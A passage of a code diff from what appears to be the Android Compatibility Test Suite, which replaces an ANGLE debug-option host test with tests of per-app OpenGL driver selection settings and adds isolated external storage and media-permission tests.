- String propDisablePreloading = getDevice().getProperty(PROPERTY_DISABLE_OPENGL_PRELOADING);
- String propGfxDriver = getDevice().getProperty(PROPERTY_GFX_DRIVER);
-
- // This logic is attempting to mimic ZygoteInit.java::ZygoteInit#preloadOpenGL()
- if (((propDisablePreloading != null) && propDisablePreloading.equals("true")) &&
- ((propGfxDriver == null) || propGfxDriver.isEmpty())) {
- return false;
- }
-
- return true;
- }
-
- private void enableAngle() throws Exception {
- String developerOptionCmd = String.format("settings put global angle_enabled_app %s",
- ANGLE_DEBUG_OPTION_PKG);
- getDevice().executeShellCommand(developerOptionCmd);
- }
-
- private void disableAngle() throws Exception {
- // FIXME -- b/117554536
- // Once b/117555066 is fixed, the workaround here to set angle_enabled_app to the empty
- // string can be removed and the deletion of the setting can be used instead.
-// getDevice().executeShellCommand("settings delete global angle_enabled_app");
- getDevice().executeShellCommand("settings put global angle_enabled_app ''");
- }
-
- /**
- * Set up the Manifest file test environment.
- */
- @Before
- public void setUp() throws Exception {
- // Clear any Developer Option values
- disableAngle();
-
- // Uninstall old apps
- uninstallPackage(getDevice(), ANGLE_DEBUG_OPTION_PKG);
- }
-
- /**
- * Test ANGLE is loaded when the Debug Option is On.
- */
- @Test
- public void testDebugOptionOn() throws Exception {
- Assume.assumeTrue(isAngleLoadable());
-
- // Disable ANGLE so we have a fresh enable to check
- disableAngle();
-
- enableAngle();
-
- installPackage(ANGLE_DEBUG_OPTION_APP, new String[0]);
-
- runDeviceTests(
- ANGLE_DEBUG_OPTION_PKG,
- ANGLE_DEBUG_OPTION_PKG + "." + ANGLE_DEBUG_OPTION_CLASS,
- ANGLE_DEBUG_OPTION_ON_METHOD);
- }
-
- /**
- * Test ANGLE is loaded when the Debug Option is Off.
- */
- @Test
- public void testDebugOptionOff() throws Exception {
- Assume.assumeTrue(isAngleLoadable());
-
- // Enable ANGLE so that disabling it actually has something to disable.
- enableAngle();
-
- disableAngle();
-
- installPackage(ANGLE_DEBUG_OPTION_APP, new String[0]);
-
- runDeviceTests(
- ANGLE_DEBUG_OPTION_PKG,
- ANGLE_DEBUG_OPTION_PKG + "." + ANGLE_DEBUG_OPTION_CLASS,
- ANGLE_DEBUG_OPTION_OFF_METHOD);
- }
-}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
new file mode 100644
index 0000000..e973ad7
--- /dev/null
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -0,0 +1,530 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.angle.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.PackageInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import com.android.ddmlib.Log;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Scanner;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests ANGLE Developer Option Opt-In/Out functionality.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test implements IDeviceTest {
+
+ private static final String TAG = CtsAngleDeveloperOptionHostTest.class.getSimpleName();
+
+ // Settings.Global
+ private static final String SETTINGS_GLOBAL_ALL_USE_ANGLE = "angle_gl_driver_all_angle";
+ private static final String SETTINGS_GLOBAL_DRIVER_PKGS = "angle_gl_driver_selection_pkgs";
+ private static final String SETTINGS_GLOBAL_DRIVER_VALUES = "angle_gl_driver_selection_values";
+
+ // System Properties
+ private static final String PROPERTY_DISABLE_OPENGL_PRELOADING = "ro.zygote.disable_gl_preload";
+ private static final String PROPERTY_GFX_DRIVER = "ro.gfx.driver.0";
+
+ // ANGLE
+ private static final String ANGLE_PKG = "com.google.android.angle";
+ private static final String ANGLE_DEV_OPTION_PKG = "com.android.angleIntegrationTest.developerOption";
+ private static final String ANGLE_DEV_OPTION_SEC_PKG = "com.android.angleIntegrationTest.developerOptionSecondary";
+ private static final String ANGLE_DEV_OPTION_CLASS = "AngleDeveloperOptionActivityTest";
+ private static final String ANGLE_DEV_OPTION_DEFAULT_METHOD = "testUseDefaultDriver";
+ private static final String ANGLE_DEV_OPTION_ANGLE_METHOD = "testUseAngleDriver";
+ private static final String ANGLE_DEV_OPTION_NATIVE_METHOD = "testUseNativeDriver";
+ private static final String ANGLE_DEV_OPTION_APP = "CtsAngleDeveloperOptionTestCases.apk";
+ private static final String ANGLE_DEV_OPTION_SEC_APP = "CtsAngleDeveloperOptionSecondaryTestCases.apk";
+ private static final String ANGLE_DEV_OPTION_ACTIVITY =
+ ANGLE_DEV_OPTION_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
+ private static final String ANGLE_DEV_OPTION_SEC_ACTIVITY =
+ ANGLE_DEV_OPTION_SEC_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
+ private static final String ANGLE_MAIN_ACTIVTY = ANGLE_PKG + "/.MainActivity";
+
+ enum OpenGlDriverChoice {
+ DEFAULT,
+ NATIVE,
+ ANGLE
+ }
+
+ private static final Map<OpenGlDriverChoice, String> sDriverGlobalSettingMap = buildDriverGlobalSettingMap();
+ private static Map<OpenGlDriverChoice, String> buildDriverGlobalSettingMap() {
+ Map<OpenGlDriverChoice, String> map = new HashMap<>();
+ map.put(OpenGlDriverChoice.DEFAULT, "default");
+ map.put(OpenGlDriverChoice.ANGLE, "angle");
+ map.put(OpenGlDriverChoice.NATIVE, "native");
+
+ return map;
+ }
+
+ private static final Map<OpenGlDriverChoice, String> sDriverTestMethodMap = buildDriverTestMethodMap();
+ private static Map<OpenGlDriverChoice, String> buildDriverTestMethodMap() {
+ Map<OpenGlDriverChoice, String> map = new HashMap<>();
+ map.put(OpenGlDriverChoice.DEFAULT, ANGLE_DEV_OPTION_DEFAULT_METHOD);
+ map.put(OpenGlDriverChoice.ANGLE, ANGLE_DEV_OPTION_ANGLE_METHOD);
+ map.put(OpenGlDriverChoice.NATIVE, ANGLE_DEV_OPTION_NATIVE_METHOD);
+
+ return map;
+ }
+
+ private boolean isAngleLoadable() throws Exception {
+ PackageInfo anglePkgInfo = getDevice().getAppPackageInfo(ANGLE_PKG);
+ String propDisablePreloading = getDevice().getProperty(PROPERTY_DISABLE_OPENGL_PRELOADING);
+ String propGfxDriver = getDevice().getProperty(PROPERTY_GFX_DRIVER);
+
+ // Make sure ANGLE exists on the device
+ if(anglePkgInfo == null) {
+ return false;
+ }
+
+ // This logic is attempting to mimic ZygoteInit.java::ZygoteInit#preloadOpenGL()
+ if (((propDisablePreloading != null) && propDisablePreloading.equals("false")) &&
+ ((propGfxDriver == null) || propGfxDriver.isEmpty())) {
+ return false;
+ }
+
+ return true;
+ }
+
+ private String getDevOption(String devOption) throws Exception {
+ return getDevice().getSetting("global", devOption);
+ }
+
+ private void setAndValidateAngleDevOptionPkgDriver(String pkgName, String driverValue) throws Exception {
+ CLog.logAndDisplay(LogLevel.INFO, "Updating Global.Settings: pkgName = '" +
+ pkgName + "', driverValue = '" + driverValue + "'");
+
+ getDevice().setSetting("global", SETTINGS_GLOBAL_DRIVER_PKGS, pkgName);
+ getDevice().setSetting("global", SETTINGS_GLOBAL_DRIVER_VALUES, driverValue);
+
+ String devOption = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+ Assert.assertEquals(
+ "Developer option '" + SETTINGS_GLOBAL_DRIVER_PKGS +
+ "' was not set correctly: '" + devOption + "'",
+ pkgName, devOption);
+
+ devOption = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+ Assert.assertEquals(
+ "Developer option '" + SETTINGS_GLOBAL_DRIVER_VALUES +
+ "' was not set correctly: '" + driverValue + "'",
+ driverValue, devOption);
+ }
+
+ private void startActivity(String activity) throws Exception {
+ // Run the ANGLE activity so it'll clear up any 'default' settings.
+ getDevice().executeShellCommand("am start -S -W -n \"" + activity + "\"");
+ }
+
+ private void stopPackage(String pkgName) throws Exception {
+ getDevice().executeShellCommand("am force-stop " + pkgName);
+ }
+
+ private void setAndValidatePkgDriver(String pkgName, OpenGlDriverChoice driver) throws Exception {
+ stopPackage(pkgName);
+
+ setAndValidateAngleDevOptionPkgDriver(pkgName, sDriverGlobalSettingMap.get(driver));
+
+ startActivity(ANGLE_MAIN_ACTIVTY);
+
+ CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
+ driver + ") with method '" + sDriverTestMethodMap.get(driver) + "'");
+
+ runDeviceTests(
+ pkgName,
+ pkgName + "." + ANGLE_DEV_OPTION_CLASS,
+ sDriverTestMethodMap.get(driver));
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ stopPackage(ANGLE_PKG);
+ stopPackage(ANGLE_DEV_OPTION_PKG);
+ stopPackage(ANGLE_DEV_OPTION_SEC_PKG);
+ getDevice().setSetting("global", SETTINGS_GLOBAL_ALL_USE_ANGLE, "0");
+ }
+
+ /**
+ * Test ANGLE is loaded when the 'Use ANGLE for all' Developer Option is enabled.
+ */
+ @Test
+ public void testEnableAngleForAll() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_SEC_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+
+ getDevice().setSetting("global", SETTINGS_GLOBAL_ALL_USE_ANGLE, "1");
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+ installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_PKG,
+ ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_ANGLE_METHOD);
+ runDeviceTests(
+ ANGLE_DEV_OPTION_SEC_PKG,
+ ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_ANGLE_METHOD);
+ }
+
+ /**
+ * Test ANGLE is not loaded when the Developer Option is set to 'default'.
+ */
+ @Test
+ public void testUseDefaultDriver() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_PKG,
+ ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_DEFAULT_METHOD);
+ }
+
+ /**
+ * Test ANGLE is loaded when the Developer Option is set to 'angle'.
+ */
+ @Test
+ public void testUseAngleDriver() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_PKG,
+ ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_ANGLE_METHOD);
+ }
+
+ /**
+ * Test ANGLE is not loaded when the Developer Option is set to 'native'.
+ */
+ @Test
+ public void testUseNativeDriver() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_PKG,
+ ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_NATIVE_METHOD);
+ }
+
+ /**
+ * Test ANGLE is not loaded for any apps when the Developer Option list lengths mismatch.
+ */
+ @Test
+ public void testSettingsLengthMismatch() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+ installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_PKG,
+ ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_DEFAULT_METHOD);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_SEC_PKG,
+ ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_DEFAULT_METHOD);
+ }
+
+ /**
+ * Test ANGLE is not loaded when the Developer Option is invalid.
+ */
+ @Test
+ public void testUseInvalidDriver() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG, "timtim");
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_PKG,
+ ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_DEFAULT_METHOD);
+ }
+
+ /**
+ * Test the Developer Options can be updated to/from each combination.
+ */
+ @Test
+ public void testUpdateDriverValues() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+ for (OpenGlDriverChoice firstDriver : OpenGlDriverChoice.values()) {
+ for (OpenGlDriverChoice secondDriver : OpenGlDriverChoice.values()) {
+ CLog.logAndDisplay(LogLevel.INFO, "Testing updating Global.Settings from '" +
+ firstDriver + "' to '" + secondDriver + "'");
+
+ setAndValidatePkgDriver(ANGLE_DEV_OPTION_PKG, firstDriver);
+ setAndValidatePkgDriver(ANGLE_DEV_OPTION_PKG, secondDriver);
+ }
+ }
+ }
+
+ /**
+ * Test different PKGs can have different developer option values.
+ * Primary: ANGLE
+ * Secondary: Native
+ */
+ @Test
+ public void testMultipleDevOptionsAngleNative() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+ installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_PKG,
+ ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_ANGLE_METHOD);
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_SEC_PKG,
+ ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_NATIVE_METHOD);
+ }
+
+ /**
+ * Test the Developer Options for a second PKG can be updated to/from each combination.
+ */
+ @Test
+ public void testMultipleUpdateDriverValues() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+ installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+ // Set the first PKG to always use ANGLE
+ setAndValidatePkgDriver(ANGLE_DEV_OPTION_PKG, OpenGlDriverChoice.ANGLE);
+
+ for (OpenGlDriverChoice firstDriver : OpenGlDriverChoice.values()) {
+ for (OpenGlDriverChoice secondDriver : OpenGlDriverChoice.values()) {
+ CLog.logAndDisplay(LogLevel.INFO, "Testing updating Global.Settings from '" +
+ firstDriver + "' to '" + secondDriver + "'");
+
+ setAndValidateAngleDevOptionPkgDriver(
+ ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+ sDriverGlobalSettingMap.get(firstDriver));
+
+ startActivity(ANGLE_MAIN_ACTIVTY);
+
+ CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
+ firstDriver + ") with method '" + sDriverTestMethodMap.get(firstDriver) + "'");
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_SEC_PKG,
+ ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ sDriverTestMethodMap.get(firstDriver));
+
+ setAndValidateAngleDevOptionPkgDriver(
+ ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+ sDriverGlobalSettingMap.get(secondDriver));
+
+ startActivity(ANGLE_MAIN_ACTIVTY);
+
+ CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
+ secondDriver + ") with method '" + sDriverTestMethodMap.get(secondDriver) + "'");
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_SEC_PKG,
+ ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ sDriverTestMethodMap.get(secondDriver));
+
+ // Make sure the first PKG's driver value was not modified
+ startActivity(ANGLE_MAIN_ACTIVTY);
+
+ String devOptionPkg = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+ String devOptionValue = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+ CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
+ devOptionPkg + "', driver value = '" + devOptionValue + "'");
+
+ runDeviceTests(
+ ANGLE_DEV_OPTION_PKG,
+ ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+ ANGLE_DEV_OPTION_ANGLE_METHOD);
+ }
+ }
+ }
+
+ /**
+ * Test setting a driver to 'default' does not keep the value in the settings when the ANGLE
+ * activity runs and cleans things up.
+ */
+ @Test
+ public void testDefaultNotInSettings() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+
+ // Install the package so the setting isn't removed because the package isn't present.
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+ // Run the ANGLE activity so it'll clear up any 'default' settings.
+ startActivity(ANGLE_MAIN_ACTIVTY);
+
+ String devOptionPkg = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+ String devOptionValue = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+ CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
+ devOptionPkg + "', driver value = '" + devOptionValue + "'");
+
+ Assert.assertEquals(
+ "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
+ "", devOptionPkg);
+ Assert.assertEquals(
+ "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
+ "", devOptionValue);
+ }
+
+ /**
+ * Test uninstalled PKGs have their settings removed.
+ */
+ @Test
+ public void testUninstalledPkgsNotInSettings() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ uninstallPackage(getDevice(), ANGLE_DEV_OPTION_PKG);
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+ // Run the ANGLE activity so it'll clear up any 'default' settings.
+ startActivity(ANGLE_MAIN_ACTIVTY);
+
+ String devOptionPkg = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+ String devOptionValue = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+ CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
+ devOptionPkg + "', driver value = '" + devOptionValue + "'");
+
+ Assert.assertEquals(
+ "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
+ "", devOptionPkg);
+ Assert.assertEquals(
+ "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
+ "", devOptionValue);
+ }
+
+ /**
+ * Test different PKGs can have different developer option values.
+ * Primary: ANGLE
+ * Secondary: Default
+ *
+ * Verify the PKG set to 'default' is removed from the settings.
+ */
+ @Test
+ public void testMultipleDevOptionsAngleDefault() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+
+ installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+ installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+ // Run the ANGLE activity so it'll clear up any 'default' settings.
+ startActivity(ANGLE_MAIN_ACTIVTY);
+
+ String devOption = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+ Assert.assertEquals(
+ "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOption + "'",
+ ANGLE_DEV_OPTION_PKG, devOption);
+
+ devOption = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+ Assert.assertEquals(
+ "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOption + "'",
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE), devOption);
+ }
+
+ /**
+ * Test different PKGs can have different developer option values.
+ * Primary: ANGLE
+ * Secondary: Default
+ *
+ * Verify the uninstalled PKG is removed from the settings.
+ */
+ @Test
+ public void testMultipleDevOptionsAngleNativeUninstall() throws Exception {
+ Assume.assumeTrue(isAngleLoadable());
+
+ setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+ installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+ // Run the ANGLE activity so it'll clear up any 'default' settings.
+ startActivity(ANGLE_MAIN_ACTIVTY);
+
+ String devOptionPkg = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+ String devOptionValue = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+ CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
+ devOptionPkg + "', driver value = '" + devOptionValue + "'");
+
+ Assert.assertEquals(
+ "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
+ ANGLE_DEV_OPTION_SEC_PKG, devOptionPkg);
+ Assert.assertEquals(
+ "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
+ sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE), devOptionValue);
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 3ba96ea..a376c65 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -28,6 +28,8 @@
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.AbiUtils;
+import org.junit.After;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -59,6 +61,18 @@
private static final String MULTIUSER_APK = "CtsMultiUserStorageApp.apk";
private static final String MULTIUSER_PKG = "com.android.cts.multiuserstorageapp";
private static final String MULTIUSER_CLASS = MULTIUSER_PKG + ".MultiUserStorageTest";
+ private static final String MEDIA_APK = "CtsMediaStorageApp.apk";
+ private static final String MEDIA_PKG = "com.android.cts.mediastorageapp";
+ private static final String MEDIA_CLASS = MEDIA_PKG + ".MediaStorageTest";
+
+ private static final String PKG_A = "com.android.cts.storageapp_a";
+ private static final String PKG_B = "com.android.cts.storageapp_b";
+ private static final String APK_A = "CtsStorageAppA.apk";
+ private static final String APK_B = "CtsStorageAppB.apk";
+ private static final String CLASS = "com.android.cts.storageapp.StorageTest";
+
+ private static final String PERM_READ_MEDIA_IMAGES = "android.permission.READ_MEDIA_IMAGES";
+ private static final String ROLE_GALLERY = "android.app.role.GALLERY";
private int[] mUsers;
@@ -74,11 +88,27 @@
assertNotNull(getBuild());
}
+ @Before
+ @After
+ public void cleanUp() throws DeviceNotAvailableException {
+ getDevice().uninstallPackage(NONE_PKG);
+ getDevice().uninstallPackage(READ_PKG);
+ getDevice().uninstallPackage(WRITE_PKG);
+ getDevice().uninstallPackage(MULTIUSER_PKG);
+ getDevice().uninstallPackage(PKG_A);
+ getDevice().uninstallPackage(PKG_B);
+
+ wipePrimaryExternalStorage();
+ }
+
/**
* Verify that app with no external storage permissions works correctly.
*/
@Test
public void testExternalStorageNone() throws Exception {
+ // TODO: remove this test once isolated storage is always enabled
+ Assume.assumeFalse(hasIsolatedStorage());
+
try {
wipePrimaryExternalStorage();
@@ -102,6 +132,9 @@
*/
@Test
public void testExternalStorageRead() throws Exception {
+ // TODO: remove this test once isolated storage is always enabled
+ Assume.assumeFalse(hasIsolatedStorage());
+
try {
wipePrimaryExternalStorage();
@@ -125,6 +158,9 @@
*/
@Test
public void testExternalStorageWrite() throws Exception {
+ // TODO: remove this test once isolated storage is always enabled
+ Assume.assumeFalse(hasIsolatedStorage());
+
try {
wipePrimaryExternalStorage();
@@ -147,6 +183,9 @@
*/
@Test
public void testExternalStorageGifts() throws Exception {
+ // TODO: remove this test once isolated storage is always enabled
+ Assume.assumeFalse(hasIsolatedStorage());
+
try {
wipePrimaryExternalStorage();
@@ -176,6 +215,34 @@
}
/**
+ * Test isolated external storage, ensuring that two apps are running in
+ * complete isolation.
+ */
+ @Test
+ public void testExternalStorageIsolated() throws Exception {
+ // TODO: remove this test once isolated storage is always enabled
+ Assume.assumeTrue(hasIsolatedStorage());
+
+ try {
+ wipePrimaryExternalStorage();
+
+ getDevice().uninstallPackage(PKG_A);
+ getDevice().uninstallPackage(PKG_B);
+
+ installPackage(APK_A);
+ installPackage(APK_B);
+
+ for (int user : mUsers) {
+ runDeviceTests(PKG_A, CLASS, "testExternalStorageIsolatedWrite", user);
+ runDeviceTests(PKG_B, CLASS, "testExternalStorageIsolatedRead", user);
+ }
+ } finally {
+ getDevice().uninstallPackage(PKG_A);
+ getDevice().uninstallPackage(PKG_B);
+ }
+ }
+
+ /**
* Test multi-user emulated storage environment, ensuring that each user has
* isolated storage.
*/
@@ -227,6 +294,9 @@
*/
@Test
public void testMultiViewMoveConsistency() throws Exception {
+ // TODO: remove this test once isolated storage is always enabled
+ Assume.assumeFalse(hasIsolatedStorage());
+
try {
wipePrimaryExternalStorage();
@@ -281,7 +351,7 @@
assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
for (int user : mUsers) {
- enableWriteSettings(WRITE_PKG, user);
+ updateAppOp(WRITE_PKG, user, "android:write_settings", true);
runDeviceTests(
WRITE_PKG, WRITE_PKG + ".ChangeDefaultUris", "testChangeDefaultUris", user);
@@ -332,25 +402,78 @@
}
}
+ @Test
+ public void testMediaNone() throws Exception {
+ // STOPSHIP: remove this once isolated storage is always enabled
+ Assume.assumeTrue(hasIsolatedStorage());
+
+ installPackage(MEDIA_APK);
+ for (int user : mUsers) {
+ updatePermission(MEDIA_PKG, user, PERM_READ_MEDIA_IMAGES, false);
+ updateRole(MEDIA_PKG, user, ROLE_GALLERY, false);
+
+ runDeviceTests(MEDIA_PKG, MEDIA_CLASS, "testMediaNone", user);
+ }
+ }
+
+ @Test
+ public void testMediaRead() throws Exception {
+ // STOPSHIP: remove this once isolated storage is always enabled
+ Assume.assumeTrue(hasIsolatedStorage());
+
+ installPackage(MEDIA_APK);
+ for (int user : mUsers) {
+ updatePermission(MEDIA_PKG, user, PERM_READ_MEDIA_IMAGES, true);
+ updateRole(MEDIA_PKG, user, ROLE_GALLERY, false);
+
